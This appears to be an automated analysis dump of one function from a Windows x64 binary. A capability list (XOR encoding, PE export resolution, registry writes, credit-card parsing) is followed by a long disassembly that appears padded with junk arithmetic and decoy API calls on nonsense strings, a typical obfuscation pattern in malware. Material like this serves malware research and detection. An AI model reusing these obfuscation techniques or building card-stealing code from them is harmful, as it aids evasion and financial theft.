Function at 0x140001010
Capabilities:
Authenticate hmac
Check for unexpected memory writes
Check mutex on windows
Check os version
Create process on windows
Encode data using xor
Extract resource via kernel32 functions
Get common file path
Get file size
Get file system object information
Get system information on windows
Parse credit card information
Resolve function by parsing pe exports
Set registry value

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
mov eax, 0x1bf28
call fcn.1400dd890
sub rsp, rax
mov dword [rsp + 0x23c0], 0x35ae
movabs rax, 0x7aea7d70b0f26b
mov rcx, qword [section..data]
add rcx, rax
mov rax, rcx
mov qword [section..data], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x4960], rax
mov eax, 0x21d
mov word [rsp + 0x5c4], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], reloc.SHELL32.dll_ILFindLastID
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.Fenlanditemised_alleged_sensuous
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x4968], rax
mov dword [rsp + 0x23c4], 0x86bb
mov rax, qword [section..data]
mov qword [rsp + 0x4970], rax
mov byte [rsp + 0x40], 0x7c
movzx eax, word [rsp + 0x5c4]
mov word [rsp + 0x5c8], ax
mov dword [rsp + 0x23c8], 0x244e
cmp dword [rsp + 0x23c0], 0x682e
jge 0x140001135
mov dword [rsp + 0x23cc], 0xbde8
mov rax, qword [rsp + 0x4970]
mov qword [rsp + 0x4978], rax
lea rax, [rsp + 0x23cc]
mov qword [rsp + 0x4980], rax
mov dword [rsp + 0x23d0], 0x6557
mov dword [rsp + 0x23d4], 0x775e
mov dword [rsp + 0x23d8], 0xfc3d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov dword [rsp + 0x23dc], 0xd5eb
mov rax, qword [rsp + 0x4980]
mov eax, dword [rax]
sub eax, 0x29d7
cmp eax, dword [rsp + 0x23cc]
jb 0x1400011ad
lea rdx, [rsp + 0x40]
mov rcx, qword [rsp + 0x4988]
call qword [sym.imp.USERENV.dll_GetProfilesDirectoryW]
mov dword [rsp + 0x23e0], eax
mov eax, dword [rsp + 0x23cc]
and eax, 0x9176
mov rcx, qword [rsp + 0x4980]
mov dword [rcx], eax
jmp 0x14000123c
movsx eax, word [rsp + 0x5c4]
mov dword [rsp + 0x23e4], eax
cmp dword [rsp + 0x23e4], 0x21d
je 0x1400011cb
jmp 0x140001229
mov eax, 0x532
mov word [rsp + 0x5cc], ax
movzx eax, word [rsp + 0x5cc]
cmp eax, 0xc41
jl 0x140001217
mov eax, dword [rsp + 0x23cc]
mov dword [rsp + 0x20], eax
movzx r9d, word [rsp + 0x5cc]
mov r8, qword [rsp + 0x4978]
movzx edx, word [rsp + 0x5cc]
mov ecx, dword [rsp + 0x23cc]
call fcn.1400dc430
lea rax, [rsp + 0x23c0]
mov qword [rsp + 0x4990], rax
jmp 0x14000123c
movsx eax, word [rsp + 0x5c4]
shl eax, 6
mov word [rsp + 0x5c8], ax
mov dword [rsp + 0x23e8], 0x30bf
cmp dword [rsp + 0x23dc], 0xf9e2
je 0x1400016ed
mov rax, qword [rsp + 0x4990]
mov eax, dword [rax]
xor eax, 0x103b
mov dword [rsp + 0x23c0], eax
mov eax, dword [rsp + 0x23dc]
add eax, 0x5d
mov dword [rsp + 0x23dc], eax
lea rdx, [rsp + 0x13110]
mov rcx, qword [rsp + 0x4968]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x23ec], eax
mov eax, dword [rsp + 0x23c0]
sar eax, 0xf
mov rcx, qword [rsp + 0x4990]
mov dword [rcx], eax
mov rax, qword [section..data]
mov rcx, qword [rsp + 0x4970]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x4978], rax
mov rax, qword [rsp + 0x4980]
mov ecx, dword [rsp + 0x23cc]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4980]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4978]
mov rcx, qword [rsp + 0x4970]
sub rcx, rax
mov rax, rcx
mov qword [section..data], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
mov rax, qword [rsp + 0x4990]
mov eax, dword [rax]
and eax, 0x3aa2
mov dword [rsp + 0x23c0], eax
movsx eax, word [rsp + 0x5c8]
sub eax, 0x2f8
mov word [rsp + 0x5c4], ax
movzx eax, word [rsp + 0x5cc]
add eax, 0x659
mov word [rsp + 0x5cc], ax
mov eax, dword [rsp + 0x23c0]
sub eax, 0x28af
mov rcx, qword [rsp + 0x4990]
mov dword [rcx], eax
mov eax, dword [rsp + 0x23cc]
add eax, 0xbc2f
mov rcx, qword [rsp + 0x4980]
mov dword [rcx], eax
mov dword [rsp + 0x20], 0xc70
mov r9d, 0x1148
mov r8d, 0x2e26
mov edx, 0x81c
mov rcx, qword [rsp + 0x4968]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x23f0], eax
mov rax, qword [rsp + 0x4970]
mov rcx, qword [section..data]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x4978], rax
mov rax, qword [rsp + 0x4980]
mov eax, dword [rax]
xor eax, 0x76a8
mov dword [rsp + 0x23cc], eax
mov eax, dword [rsp + 0x23c0]
mov rcx, qword [rsp + 0x4990]
mov qword [rsp + 0x4998], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4998]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x4990]
mov dword [rcx], eax
mov eax, dword [rsp + 0x23c0]
mov rcx, qword [rsp + 0x4990]
mov qword [rsp + 0x49a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x49a0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x4990]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4980]
mov ecx, dword [rsp + 0x23cc]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4980]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4980]
mov eax, dword [rax]
sub eax, 0xf981
mov dword [rsp + 0x23cc], eax
movsx eax, word [rsp + 0x5c4]
add eax, 0x675
mov word [rsp + 0x5c8], ax
mov eax, dword [rsp + 0x23c0]
sub eax, 0x1be0
mov rcx, qword [rsp + 0x4990]
mov dword [rcx], eax
mov eax, dword [rsp + 0x23c0]
add eax, 0x14d4
mov rcx, qword [rsp + 0x4990]
mov dword [rcx], eax
xor r9d, r9d
lea r8, [rsp + 0x49a8]
mov rdx, qword [rsp + 0x49a8]
mov rcx, qword [rsp + 0x4968]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x23f4], eax
mov rax, qword [rsp + 0x4980]
mov eax, dword [rax]
and eax, 0x8961
mov dword [rsp + 0x23cc], eax
movsx eax, byte [rsp + 0x40]
add eax, 0x5c
mov byte [rsp + 0x40], al
mov rax, qword [section..data]
mov rcx, qword [rsp + 0x4978]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4970], rax
mov rax, qword [rsp + 0x4978]
mov rcx, qword [rsp + 0x4970]
sub rcx, rax
mov rax, rcx
mov qword [section..data], rax
mov eax, dword [rsp + 0x23cc]
add eax, 0x5ca8
mov rcx, qword [rsp + 0x4980]
mov dword [rcx], eax
mov rax, qword [section..data]
mov rcx, qword [rsp + 0x4970]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x4978], rax
movzx eax, word [rsp + 0x5cc]
shl eax, 0xb
mov word [rsp + 0x5cc], ax
mov rax, qword [rsp + 0x4990]
mov eax, dword [rax]
sar eax, 0x1a
mov dword [rsp + 0x23c0], eax
mov rax, qword [rsp + 0x4980]
mov eax, dword [rax]
or eax, 0xd767
mov dword [rsp + 0x23cc], eax
mov r9d, 1
lea r8, [rsp + 0x49a8]
mov rdx, qword [rsp + 0x49b0]
mov rcx, qword [rsp + 0x4968]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x23ec], eax
mov rax, qword [rsp + 0x4980]
mov ecx, dword [rsp + 0x23cc]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4980]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4970]
mov rcx, qword [section..data]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4978], rax
movsx eax, byte [rsp + 0x40]
sub eax, 0x61
mov byte [rsp + 0x40], al
mov rax, qword [rsp + 0x4970]
mov rcx, qword [rsp + 0x4978]
sub rcx, rax
mov rax, rcx
mov qword [section..data], rax
movsx eax, word [rsp + 0x5c4]
add eax, 0x62b
mov word [rsp + 0x5c8], ax
mov eax, dword [rsp + 0x23c0]
sub eax, 0x6255
mov rcx, qword [rsp + 0x4990]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4980]
mov eax, dword [rax]
and eax, 0xd9dd
mov dword [rsp + 0x23cc], eax
mov rax, qword [rsp + 0x4990]
mov ecx, dword [rsp + 0x23c0]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4990]
mov dword [rcx], eax
mov eax, dword [rsp + 0x23c0]
add eax, 0x5097
mov rcx, qword [rsp + 0x4990]
mov dword [rcx], eax
mov eax, dword [rsp + 0x23cc]
sub eax, 0x4676
mov rcx, qword [rsp + 0x4980]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0x23f8], eax
mov rax, qword [rsp + 0x4990]
mov ecx, dword [rsp + 0x23c0]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x4990]
mov dword [rcx], eax
jmp 0x140001247
mov eax, dword [rsp + 0x23cc]
xor eax, 0x1b1c
mov rcx, qword [rsp + 0x4980]
cmp eax, dword [rcx]
je 0x14000176d
movzx eax, word [rsp + 0x5cc]
mov word [0x140108f90], ax
movabs rax, 0x7732d1e74e0328
mov qword [rsp + 0x49b8], rax
mov dword [rsp + 0x23fc], 0x2bae
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.transcendsGrowledMiddayscretin
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x49c0], rax
mov dword [rsp + 0x2400], 0xe112
lea rax, [rsp + 0x40]
mov qword [rsp + 0x49c8], rax
mov rax, qword [rsp + 0x4990]
mov eax, dword [rax]
sar eax, 0xd0
cmp eax, dword [rsp + 0x23c0]
jge 0x140001811
movzx eax, byte [rsp + 0x40]
mov byte [rsp + 0x2404], al
cmp byte [rsp + 0x2404], 6
je 0x1400017b3
jmp 0x1400017fb
movsx eax, word [rsp + 0x5c4]
shl eax, 5
mov word [rsp + 0x5c8], ax
mov eax, dword [rsp + 0x23cc]
mov dword [rsp + 0x20], eax
movzx r9d, word [rsp + 0x5cc]
mov r8, qword [rsp + 0x4970]
movzx edx, word [rsp + 0x5cc]
mov rax, qword [rsp + 0x4980]
mov ecx, dword [rax]
call fcn.1400dc430
jmp 0x140001811
mov eax, dword [rsp + 0x23cc]
and eax, 0x1133
mov rcx, qword [rsp + 0x4980]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x40]
add eax, 0x18
mov rcx, qword [rsp + 0x49c8]
mov byte [rcx], al
mov rax, qword [section..data]
mov rcx, qword [rsp + 0x4970]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4978], rax
movsx eax, word [rsp + 0x5c4]
add eax, 0x587
mov word [rsp + 0x5c8], ax
movzx eax, word [rsp + 0x5cc]
sub eax, 0xbc4
mov word [0x140108f90], ax
mov rax, qword [rsp + 0x4980]
mov eax, dword [rax]
sub eax, 0x812c
mov dword [rsp + 0x23cc], eax
mov dword [rsp + 0x14c10], 0x11c
mov eax, dword [rsp + 0x23cc]
add eax, 0xf3a3
mov rcx, qword [rsp + 0x4980]
mov dword [rcx], eax
movabs rax, 0x78b8ccc53d9c4f
mov rcx, qword [rsp + 0x49b8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x49b8], rax
mov rax, qword [rsp + 0x49c8]
movsx eax, byte [rax]
sub eax, 0x14
mov byte [rsp + 0x40], al
movzx eax, word [0x140108f90]
shl eax, 1
mov word [rsp + 0x5cc], ax
mov rax, qword [rsp + 0x49c8]
movsx eax, byte [rax]
sar eax, 4
mov byte [rsp + 0x40], al
lea rdx, [rsp + 0x13148]
mov rcx, qword [rsp + 0x4968]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x2408], eax
movzx eax, word [0x140108f90]
or eax, 0xa81
mov word [rsp + 0x5cc], ax
xor r9d, r9d
lea r8, [rsp + 0x49b0]
mov rdx, qword [rsp + 0x49d0]
mov rcx, qword [rsp + 0x49c0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x23f4], eax
movsx eax, word [rsp + 0x5c8]
xor eax, 0x1ed
mov word [rsp + 0x5c4], ax
mov rax, qword [rsp + 0x4980]
mov ecx, dword [rsp + 0x23cc]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4980]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4980]
mov eax, dword [rax]
and eax, 0xf9fd
mov dword [rsp + 0x23cc], eax
mov rax, qword [rsp + 0x4990]
mov eax, dword [rax]
sub eax, 0xeee
mov dword [rsp + 0x23c0], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
movabs rax, 0x72b3914b29f945
mov rcx, qword [rsp + 0x49b8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x49b8], rax
lea rcx, [rsp + 0x12240]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movsx eax, word [rsp + 0x5c8]
sub eax, 0x705
mov word [rsp + 0x5c4], ax
mov edx, 0x313e16
mov rcx, qword [rsp + 0x4968]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x23f4], eax
movabs rax, 0x79f9a5b7caceb0
mov rcx, qword [rsp + 0x49b8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x49b8], rax
movsx eax, word [rsp + 0x5c4]
sub eax, 0x7f2
mov word [rsp + 0x5c8], ax
mov rax, qword [rsp + 0x49c8]
movsx eax, byte [rax]
add eax, 0x13
mov byte [rsp + 0x40], al
movzx eax, word [0x140108f90]
sub eax, 0x610
mov word [rsp + 0x5cc], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommBreak]
mov dword [rsp + 0x14d30], 0x11c
mov dword [rsp + 0x20], 0xc70
mov r9d, 0x1148
mov r8d, 0x2e26
mov edx, 0x81c
mov rcx, qword [rsp + 0x4968]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x23ec], eax
mov eax, dword [rsp + 0x23d8]
add eax, 0x5a
mov dword [rsp + 0x23d8], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov eax, dword [rsp + 0x23cc]
and eax, 0xa6e2
mov rcx, qword [rsp + 0x4980]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4980]
mov eax, dword [rax]
or eax, 0xf9b0
mov dword [rsp + 0x23cc], eax
mov rax, qword [rsp + 0x4990]
mov eax, dword [rax]
sar eax, 4
mov dword [rsp + 0x23c0], eax
movabs rax, 0x700e20c46a2e8e
mov rcx, qword [rsp + 0x49b8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x49b8], rax
mov rax, qword [rsp + 0x49c8]
movsx eax, byte [rax]
shl eax, 5
mov byte [rsp + 0x40], al
movsx eax, word [rsp + 0x5c4]
add eax, 0x271
mov word [rsp + 0x5c8], ax
mov rax, qword [rsp + 0x4990]
mov ecx, dword [rsp + 0x23c0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4990]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4990]
mov ecx, dword [rsp + 0x23c0]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4990]
mov dword [rcx], eax
movzx eax, word [0x140108f90]
add eax, 0x957
mov word [rsp + 0x5cc], ax
movzx eax, word [rsp + 0x5cc]
add eax, 0xeff
mov word [0x140108f90], ax
movabs rax, 0x7371ee101f02e0
mov rcx, qword [rsp + 0x49b8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x49b8], rax
cmp dword [rsp + 0x23d8], 0x105bb
jb 0x140001811
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.Gumtreesconvocations
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x49d8], rax
lea rax, [rsp + 0x4970]
mov qword [rsp + 0x49e0], rax
mov dword [rsp + 0x240c], 0x5f8c
mov rax, qword [rsp + 0x4990]
mov eax, dword [rax]
mov dword [rsp + 0x2410], eax
lea rcx, str.Unwarrantable_connoisseur_Crafter_Technologically
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x5d0], ax
cmp dword [rsp + 0x23d4], 0xa758
je 0x140001dd0
mov rax, qword [rsp + 0x49c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x40]
sub eax, ecx
mov rcx, qword [rsp + 0x49c8]
mov byte [rcx], al
mov edx, 0x7e5982
mov rcx, qword [rsp + 0x4968]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x2408], eax
mov eax, dword [rsp + 0x23d4]
add eax, 0xb2
mov dword [rsp + 0x23d4], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov rax, qword [rsp + 0x4990]
mov ecx, dword [rsp + 0x23c0]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4990]
mov dword [rcx], eax
movzx eax, word [0x140108f90]
add eax, 0x11c
mov word [rsp + 0x5cc], ax
mov edx, 0x1190a1
mov rcx, qword [rsp + 0x49d8]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x2414], eax
movsx eax, word [rsp + 0x5c4]
sub eax, 0x129
mov word [rsp + 0x5c8], ax
movsx eax, word [rsp + 0x5c8]
add eax, 0x199
mov word [rsp + 0x5c4], ax
mov rax, qword [rsp + 0x49b8]
sar rax, 0xe
mov qword [rsp + 0x49b8], rax
mov eax, dword [rsp + 0x2410]
mov rcx, qword [rsp + 0x4990]
mov qword [rsp + 0x49e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x49e8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x4990]
mov dword [rcx], eax
movzx ecx, word [rsp + 0x5d0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x5d4], ax
mov rax, qword [rsp + 0x4980]
mov ecx, dword [rsp + 0x23cc]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x4980]
mov dword [rcx], eax
jmp 0x140001c65
xor r9d, r9d
lea r8, [rsp + 0x49a8]
mov rdx, qword [rsp + 0x49a8]
mov rcx, qword [rsp + 0x49c0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x2408], eax
mov rax, qword [rsp + 0x4978]
mov rcx, qword [rsp + 0x4970]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x49e0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2410]
mov ecx, dword [rsp + 0x23c0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4990]
mov dword [rcx], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov rax, qword [rsp + 0x49c8]
movsx eax, byte [rax]
sub eax, 0x1f
mov byte [rsp + 0x40], al
movsx eax, word [rsp + 0x5c8]
sub eax, 0x251
mov word [rsp + 0x5c4], ax
mov eax, dword [rsp + 0x2410]
mov ecx, dword [rsp + 0x23c0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4990]
mov dword [rcx], eax
mov eax, dword [rsp + 0x23c8]
sub eax, 0x2a
mov dword [rsp + 0x23c8], eax
mov rax, qword [rsp + 0x49c8]
movsx eax, byte [rax]
add eax, 0x15
mov byte [rsp + 0x40], al
mov rax, qword [rsp + 0x49e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4970]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4978], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
movzx ecx, word [rsp + 0x5d0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x5d8], ax
lea rcx, [rsp + 0x12270]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x49e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4970]
add rcx, rax
mov rax, rcx
mov qword [section..data], rax
mov rax, qword [rsp + 0x4980]
mov eax, dword [rax]
sub eax, 0x4da5
mov dword [rsp + 0x23cc], eax
movabs rax, 0x73584743c55e02
mov rcx, qword [rsp + 0x49b8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x49b8], rax
mov rax, qword [section..data]
movzx ecx, al
mov rax, qword [rsp + 0x4978]
shl rax, cl
mov qword [rsp + 0x4970], rax
mov rax, qword [rsp + 0x4980]
mov ecx, dword [rsp + 0x23cc]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x4980]
mov dword [rcx], eax
movsx eax, word [rsp + 0x5c8]
xor eax, 0x40a
mov word [rsp + 0x5c4], ax
mov eax, dword [rsp + 0x23cc]
shr eax, 0xd
mov rcx, qword [rsp + 0x4980]
mov dword [rcx], eax
mov rax, qword [rsp + 0x49c8]
movsx eax, byte [rax]
and eax, 0x76
mov byte [rsp + 0x40], al
mov eax, dword [rsp + 0x23c0]
mov ecx, dword [rsp + 0x2410]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4990]
mov dword [rcx], eax
movzx eax, word [rsp + 0x5cc]
add eax, 0x8ad
mov word [0x140108f90], ax
mov rax, qword [rsp + 0x4978]
mov rcx, qword [rsp + 0x4970]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x49e0]
mov qword [rcx], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x49f0], rax
mov eax, dword [rsp + 0x2410]
mov ecx, dword [rsp + 0x23c0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4990]
mov dword [rcx], eax
movabs rax, 0x77c379345884e8
mov rcx, qword [rsp + 0x49b8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x49b8], rax
movzx eax, word [0x140108f90]
sub eax, 0xfd5
mov word [rsp + 0x5cc], ax
mov rax, qword [rsp + 0x49c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x40]
add eax, ecx
mov rcx, qword [rsp + 0x49c8]
mov byte [rcx], al
mov eax, dword [rsp + 0x23cc]
add eax, 0xf9f6
mov rcx, qword [rsp + 0x4980]
mov dword [rcx], eax
movzx ecx, word [rsp + 0x5d0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x5d4], ax
mov rax, qword [rsp + 0x49c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x40]
sub eax, ecx
mov rcx, qword [rsp + 0x49c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x49c8]
movsx eax, byte [rax]
xor eax, 0x57
mov byte [rsp + 0x40], al
cmp dword [rsp + 0x23c8], 0x2184
ja 0x140001dd0
cmp dword [rsp + 0x2400], 0xbfd0
jb 0x14000254f
movzx eax, word [rsp + 0x5cc]
shl eax, 4
mov word [0x140108f90], ax
mov rax, qword [rsp + 0x49b8]
sar rax, 0x30
mov qword [rsp + 0x49b8], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0x2418], eax
mov rax, qword [rsp + 0x4980]
mov eax, dword [rax]
or eax, 0x89f0
mov dword [rsp + 0x23cc], eax
mov rax, qword [rsp + 0x49e0]
mov rcx, qword [rsp + 0x4978]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x49e0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x49e0]
mov rcx, qword [rsp + 0x4978]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4970], rax
lea rcx, str.degenerative_rightminded_Gratifies_Cloudy_fingers
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x5d8], ax
mov eax, dword [rsp + 0x2410]
mov ecx, dword [rsp + 0x23c0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4990]
mov dword [rcx], eax
mov r9d, 1
lea r8, [rsp + 0x49d0]
mov rdx, qword [rsp + 0x49f8]
mov rcx, qword [rsp + 0x49d8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x2414], eax
movzx eax, word [0x140108f90]
sub eax, 0xa38
mov word [rsp + 0x5cc], ax
mov rax, qword [rsp + 0x49c8]
movsx eax, byte [rax]
add eax, 0x39
mov byte [rsp + 0x40], al
mov eax, dword [rsp + 0x23cc]
add eax, 0x2263
mov rcx, qword [rsp + 0x4980]
mov dword [rcx], eax
movzx ecx, word [rsp + 0x5d8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x5d4], ax
mov rax, qword [rsp + 0x49e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4978]
and rcx, rax
mov rax, rcx
mov qword [section..data], rax
movabs rax, 0x76ed668a3e7698
mov rcx, qword [rsp + 0x49b8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x49b8], rax
mov rax, qword [rsp + 0x49e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4978]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4970], rax
mov rax, qword [rsp + 0x4980]
mov eax, dword [rax]
sub eax, 0xbb35
mov dword [rsp + 0x23cc], eax
movsx eax, byte [rsp + 0x40]
shl eax, 6
mov rcx, qword [rsp + 0x49c8]
mov byte [rcx], al
movzx eax, word [0x140108f90]
xor eax, 0xc63
mov word [rsp + 0x5cc], ax
mov rax, qword [rsp + 0x4980]
mov eax, dword [rax]
or eax, 0xbb8a
mov dword [rsp + 0x23cc], eax
mov eax, dword [rsp + 0x23cc]
shr eax, 1
mov rcx, qword [rsp + 0x4980]
mov dword [rcx], eax
movzx eax, word [0x140108f90]
and eax, 0x453
mov word [rsp + 0x5cc], ax
mov edx, 0x3b2473
mov rcx, qword [rsp + 0x49d8]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x23ec], eax
movzx eax, word [rsp + 0x5cc]
add eax, 0xaea
mov word [0x140108f90], ax
mov dword [rsp + 0x20], 0x65a
mov r9d, 0x1b5
mov r8d, 0x14c4
mov edx, 0x2407
mov rcx, qword [rsp + 0x4968]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x2408], eax
mov rax, qword [rsp + 0x49e0]
mov rcx, qword [rsp + 0x4978]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4970], rax
mov rax, qword [rsp + 0x4990]
mov ecx, dword [rsp + 0x2410]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x23c0], eax
mov rax, qword [rsp + 0x4980]
mov eax, dword [rax]
add eax, 0xf78d
mov dword [rsp + 0x23cc], eax
lea rcx, [rsp + 0x122a0]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea rdx, [rsp + 0x13180]
mov rcx, qword [rsp + 0x49d8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x2414], eax
movsx eax, byte [rsp + 0x40]
add eax, 0x67
mov rcx, qword [rsp + 0x49c8]
mov byte [rcx], al
movzx eax, word [0x140108f90]
sub eax, 0xae5
mov word [rsp + 0x5cc], ax
lea rcx, str.vicious_Tenderest
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x5d4], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EraseTape]
mov rax, qword [rsp + 0x49e0]
mov rcx, qword [rsp + 0x4978]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x4970], rax
mov rax, qword [rsp + 0x4980]
mov ecx, dword [rsp + 0x23cc]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4980]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2400]
sub eax, 0x81
mov dword [rsp + 0x2400], eax
mov rax, qword [rsp + 0x49c8]
movsx eax, byte [rax]
sar eax, 1
mov byte [rsp + 0x40], al
mov rax, qword [rsp + 0x4970]
mov rcx, qword [rsp + 0x4978]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x49e0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2410]
mov rcx, qword [rsp + 0x4990]
mov qword [rsp + 0x4a00], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4a00]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x23c0], eax
